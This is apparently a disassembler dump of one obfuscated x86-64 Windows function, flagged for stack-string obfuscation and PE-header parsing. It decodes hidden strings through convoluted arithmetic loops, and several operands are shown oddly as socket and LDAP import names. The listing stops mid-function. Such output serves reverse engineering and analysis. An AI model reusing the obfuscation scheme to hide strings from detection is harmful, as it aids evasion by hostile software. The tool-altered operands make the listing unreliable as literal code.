Function at 0x140072df0
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1150]
mov eax, 0x1250
call fcn.140199370
sub rsp, rax
mov rax, qword [0x1401da800]
xor rax, rsp
mov qword [rbp + 0x1140], rax
cmp byte [0x140229d69], 0
jne 0x140072e41
call fcn.14006fcc0
jmp 0x1400a3822
movss xmm2, dword [0x1401c19d0]
movss xmm1, dword [0x1401c19c0]
lea rcx, [rsp + 0x7c]
call fcn.140006440
mov edx, 2
lea rcx, [rsp + 0x7c]
call fcn.140014a10
mov byte [rbp + 0xab0], 0xee
mov byte [rbp + 0xab1], Ordinal_217
mov byte [rbp + 0xab2], gethostname
mov byte [rbp + 0xab3], Ordinal_200
mov byte [rbp + 0xab4], Ordinal_200
mov byte [rbp + 0xab5], 0xb5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xab6], xmm0
mov qword [rbp + 0xac6], rax
mov dword [rbp + 0xace], eax
mov byte [rbp + 0xad2], al
movabs rsi, 0xbf8a0d3af9093198
movabs r12, 0x4612c3ad7992b938
movabs r14, 0xc303f3102aa9168
movabs r15, 0x800ab7d60f851ef8
lea r13, [rax - 1]
movzx r10d, byte [rsp + 0x50]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor r11d, r11d
cmp r11, 0x23
jae 0x140073cd5
movzx ebx, byte [rbp + r11 + 0xab0]
mov edi, ebx
nop dword [rax + rax]
cmp r8, r11
ja 0x140073ccc
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140072f4c
lea rcx, [r11 + r12]
mov rax, rdi
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdi
add r10, rcx
add r10b, 0x78
jmp 0x140072f86
je 0x140073c38
lea rax, [r9 + 2]
cmp r8, rax
je 0x140073b9b
lea rax, [r9 + 3]
cmp r8, rax
je 0x140073b62
lea rax, [r9 + 7]
cmp r8, rax
je 0x140073b33
lea rax, [r9 + 4]
cmp r8, rax
je 0x140073adf
cmp r9, r11
ja 0x140073cc3
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140072fb4
lea rdx, [r11 + rsi]
movzx eax, dl
and al, dil
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x28
add r10b, dl
jmp 0x140072fe0
je 0x140073abf
lea rax, [r9 + 3]
cmp r8, rax
je 0x140073a5e
lea rax, [r9 + 2]
cmp r8, rax
je 0x140073a25
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x140073651
nop dword [rax]
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14007362a
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400735fe
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400735d0
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400735c1
lea rax, [r9 + 2]
cmp r8, rax
je 0x140073586
lea rax, [r9 + 5]
cmp r8, rax
je 0x140073561
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140073539
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140073511
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400734d7
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140072ff0
lea r8, [r9 + 9]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140073c9b
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140073c73
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400731eb
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400731cb
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400731ab
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140073475
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140073416
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400733c6
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140073398
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140072ff0
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14007335e
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140073336
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14007330e
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400732e9
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400732b7
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140073290
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140073267
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007323b
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140073214
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140072ff0
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0xa]
jmp 0x140072ff0
lea rdx, [r11 + r14]
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x140072fe0
lea rdx, [r11 + r15]
movzx eax, dil
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
jmp 0x140072f86
movabs rdx, 0xf3e5307b1c5fac88
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
jmp 0x140072f20
movabs rdx, 0xfc5069d7c8498cc0
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x40
add r10b, dl
jmp 0x140073afe
movabs rcx, 0x702ae27cd5241a50
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x30
inc r9
dec r11
inc r11
jmp 0x140072f03
movabs rcx, 0xe4055b21e1fea7e0
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x20
dec r11
inc r11
jmp 0x140072f03
movabs rdx, 0x57dfd3c6eed93570
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x10
add r10b, dl
jmp 0x140073a7d
movabs rcx, 0xcbba4c6bfbb3c300
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072f03
movabs rdx, 0x3f94c511088e5090
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x140073b83
movabs rdx, 0xb36f3db61568de20
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140073bbf
movabs rdx, 0x2749b65b22436bb0
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140073bf2
movabs rdx, 0x9b242f002f1df940
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + r11 + 0xab0]
add rax, r9
add r11, rax
inc r11
jmp 0x140072f03
movabs rcx, 0x3cc65c9ccf405b28
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x18
mov byte [rbp + r11 + 0xab0], r10b
inc r11
jmp 0x140072f03
movabs rdx, 0xb0a0d541dc1ae8b8
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 8
add r10b, dl
cmp r9, 9
jb 0x1400733b6
movabs rdx, 0xeb79f71e7075cc50
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x60]
jmp 0x140073afe
movabs rdx, 0x247b4de6e8f57648
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
cmp r8, 0x10
jae 0x1400739c7
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400738b2
movabs rdx, 0x7202ad90f0ff53f0
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400733e5
movabs rdx, 0x9855c68bf5d003d8
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x1400739f6
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x140073792
movabs rdx, 0xb278a055f7f62258
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x68
jmp 0x140073436
movabs rdx, 0x7d3c4f61d6372990
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + r11 + 0xab0]
add rax, r9
add r11, rax
inc r11
jmp 0x140072f03
movabs rdx, 0xf116c806e311b720
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140073bf2
movabs rdx, 0x64f140abefec44b0
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140073bbf
movabs rdx, 0xd8cbb950fcc6d240
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x140073b83
movabs rdx, 0x4ca631f609a15fd0
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072f03
movabs rdx, 0xc080aa9b167bed60
jmp 0x140073705
movabs rdx, 0x345b234023567af0
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec r11
inc r11
jmp 0x140072f03
movabs rcx, 0xa8359be530310880
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x80
inc r9
dec r11
inc r11
jmp 0x140072f03
movabs rdx, 0x1c10148a3d0b9610
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x70
add r10b, dl
jmp 0x140073afe
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140073677
lea rdx, [r11 + r12]
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x140073495
jne 0x1400736ae
movabs rcx, 0x7f141a75f2126330
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x50
movzx eax, byte [rbp + r11 + 0xab0]
add rax, r9
add r11, rax
inc r11
jmp 0x140072f03
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400736f2
movabs rdx, 0xafaa37e1bea82cf0
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072f03
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140073723
movabs rdx, 0x3bcfbf3cb1cd9f60
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140073a7d
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007375d
movabs rdx, 0x541acdf298188440
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec r11
inc r11
jmp 0x140072f03
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140073498
movabs rdx, 0xe040554d8b3df6b0
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140073afe
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400737c2
movabs rdx, 0x3e9e27b0eb1b94c8
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x78
add r10b, dl
jmp 0x140073afe
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400737f9
movabs rdx, 0x56e93666d16679a8
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec r11
inc r11
jmp 0x140072f03
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007383d
movabs rdx, 0x6f34451cb7b15e88
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072f03
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007386b
movabs rdx, 0xfb59cc77aad6d0f8
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x140073b83
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140073439
movabs rdx, 0x9fca628884472848
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + r11 + 0xab0]
add rax, r9
add r11, rax
inc r11
jmp 0x140072f03
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400738f5
movabs rdx, 0xfe2834ebe424c660
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + r11 + 0xab0]
add rax, r9
add r11, rax
inc r11
jmp 0x140072f03
inc rax
cmp r8, rax
jne 0x140073925
movabs rdx, 0x8a4dbc46d74a38d0
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140073bf2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140073969
movabs rdx, 0x2ebe5257b0ba9020
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072f03
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140073997
movabs rcx, 0x4709610d97057500
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
dec r11
inc r11
jmp 0x140072f03
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400733e8
movabs rcx, 0x5f546fc37d5059e0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
jmp 0x140073afe
movabs rdx, 0x779f7e79639b3ec0
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, byte [rbp + r11 + 0xab0]
sub r10b, al
sub r10b, 0x40
add r10b, bl
add r10b, dl
jmp 0x140073a7d
movabs rdx, 0x3c505d456c0b130
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, byte [rbp + r11 + 0xab0]
sub r10b, 0x50
add r10b, dl
jmp 0x140073bbf
movabs rdx, 0x86b395cabe9e038
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072f03
movabs rcx, 0xf0202aa6c59efb58
add rcx, r11
movzx eax, dil
and al, cl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x68
movabs rcx, 0xbdb24226dd2df7f8
add rcx, r11
movzx eax, cl
and al, bl
mov edx, Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
add dl, bl
mov byte [rbp + r11 + 0xab0], dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072f03
movabs rax, 0x4baf9495ec2ea408
add rax, r11
and dil, al
add dil, dil
sub al, dil
lea r10d, [rbx + rax]
sub r10b, 0x38
jmp 0x140073afe
movabs rcx, 0x336485e005e3bf28
add rcx, r11
movzx eax, dil
and al, cl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x18
movabs rdx, 0x318cbacbea088588
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + r11 + 0xab0], cl
inc r9
dec r11
inc r11
jmp 0x140072f03
movabs rdx, 0x1b19772a1f98da48
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
dec r11
inc r11
jmp 0x140072f03
movabs rdx, 0x76a8e119462882f8
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072f03
movabs rdx, 0xea8359be53031088
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movabs rdx, 0x49d7c981d0536a68
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0xab0], al
inc r9
add rax, r9
sub r11, rax
movabs rcx, 0x8fea8d2f49e623a0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x60
add cl, bl
mov byte [rbp + r11 + 0xab0], cl
inc r8
mov rax, r13
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0xab0]
add rax, r9
add r11, rax
inc r11
jmp 0x140072f03
movabs rdx, 0xd2384b086cb82ba8
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, byte [rbp + r11 + 0xab0]
add rax, r9
add r11, rax
inc r11
jmp 0x140072f03
movabs rdx, 0x67bfa920293a3a18
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140072f00
movabs rdx, 0xdb9a21c53614c7a8
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140072ef0
lea rcx, [rbp + 0x1547c50]
jmp 0x140073cdc
lea rcx, [rbp + 0xe73588]
jmp 0x140073cdc
lea rcx, [rbp + 0xab0]
xor edx, edx
mov r8d, 0x100
call fcn.140011db0
mov byte [rbp + 0xad8], Ordinal_50
mov byte [rbp + 0xad9], recv
mov byte [rbp + 0xada], 4
mov byte [rbp + 0xadb], gethostname
mov byte [rbp + 0xadc], 0xa8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xadd], xmm0
mov qword [rbp + 0xaed], rax
mov dword [rbp + 0xaf5], eax
mov word [rbp + 0xaf9], ax
movabs rsi, 0x1247566ff259fb22
movabs r12, 0xd0f9666dac7551a
movabs r14, 0x1776a9d8ca3b351e
movabs r15, 0xfd577d0b14ac8aea
movzx r11d, byte [rsp + 0x50]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140074aeb
movzx r10d, byte [rbp + rdi + 0xad8]
mov rbx, r10
nop dword [rax + rax]
cmp r8, rdi
ja 0x140074ae2
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140073dbc
lea rcx, [rdi + r12]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x4a
jmp 0x140073df5
je 0x140074a58
inc rax
cmp r8, rax
je 0x1400749e7
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007498f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007492d
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400748d7
cmp r9, rdi
ja 0x140074ad9
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x140073e27
lea rdx, [rdi + rsi]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073e70
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400748b6
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007488c
lea rax, [rcx + 1]
cmp r8, rax
je 0x140074858
lea rax, [r9 + 4]
cmp r8, rax
je 0x140074834
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400747fa
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400744fd
nop dword [rax]
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400744d9
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400744a7
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14007447d
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140074455
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007442c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400743f8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400743cf
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400743a7
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007436d
lea rax, [r9 + 6]
cmp r8, rax
je 0x140073e80
lea r8, [r9 + 0x400]
lea r9, [r8 + 8]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140074ab5
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140074a8c
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140074079
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007405e
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14007403e
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14007430d
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400742aa
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14007425b
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140074227
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140073e80
lea r8, [r9 + 1]
lea r9, [r8 + 0x42]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400741f1
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400741cd
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400741a4
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140074170
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140074147
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140074123
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400740f4
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400740c6
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400740a2
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140073e80
lea r8, [r9 + 9]
lea r9, [r8 + 0x61]
jmp 0x140073e80
lea rdx, [rdi + r14]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073e70
lea rcx, [rdi + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x66
jmp 0x140073df5
movabs rdx, 0xe338503d5f1de0b6
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140073d85
movabs rcx, 0x923ab37f92cfd910
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x1400748fb
movabs rcx, 0x781b86b1dd412edc
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 4
inc r9
dec rdi
inc rdi
jmp 0x140073d72
movabs rdx, 0x5dfc59e427b284a8
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rdi
inc rdi
jmp 0x140073d72
movabs rcx, 0x43dd2d167223da74
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2c
jmp 0x14007494c
movabs rdx, 0x29be0048bc953040
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140074977
movabs rcx, 0xf9ed37b0706860c
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x54
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140073d72
movabs rdx, 0xf57fa6ad5177dbd8
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400749b5
movabs rcx, 0xdb6079df9be931a4
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7c
jmp 0x140074a0e
movabs rcx, 0xc1414d11e65a8770
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x10
movzx eax, byte [rbp + rdi + 0xad8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140073d72
movabs rdx, 0x7ff35d0fa075ddee
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
mov byte [rbp + rdi + 0xad8], r11b
inc rdi
jmp 0x140073d72
movabs rcx, 0x65d43041eae733ba
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x16
cmp r9, 0xa
jb 0x14007424b
movabs rdx, 0x3435ecfb2b6be85c
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 8]
jmp 0x1400748fb
movabs rdx, 0x4bb5037435588986
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r8, 2
jae 0x14007479e
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400746f2
movabs rdx, 0x2efe2cf213d94254
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4c
add r11b, dl
jmp 0x14007427a
movabs rcx, 0x3195d6a67fc9df52
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3e
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x1400747cf
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x14007462e
movabs rcx, 0x1cb6d682217f4732
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5e
jmp 0x1400742ce
movabs rdx, 0x6dac069fae1be2cc
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xad8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140073d72
movabs rdx, 0x538cd9d1f88d3898
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x140074a0e
movabs rdx, 0x396dad0442fe8e64
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
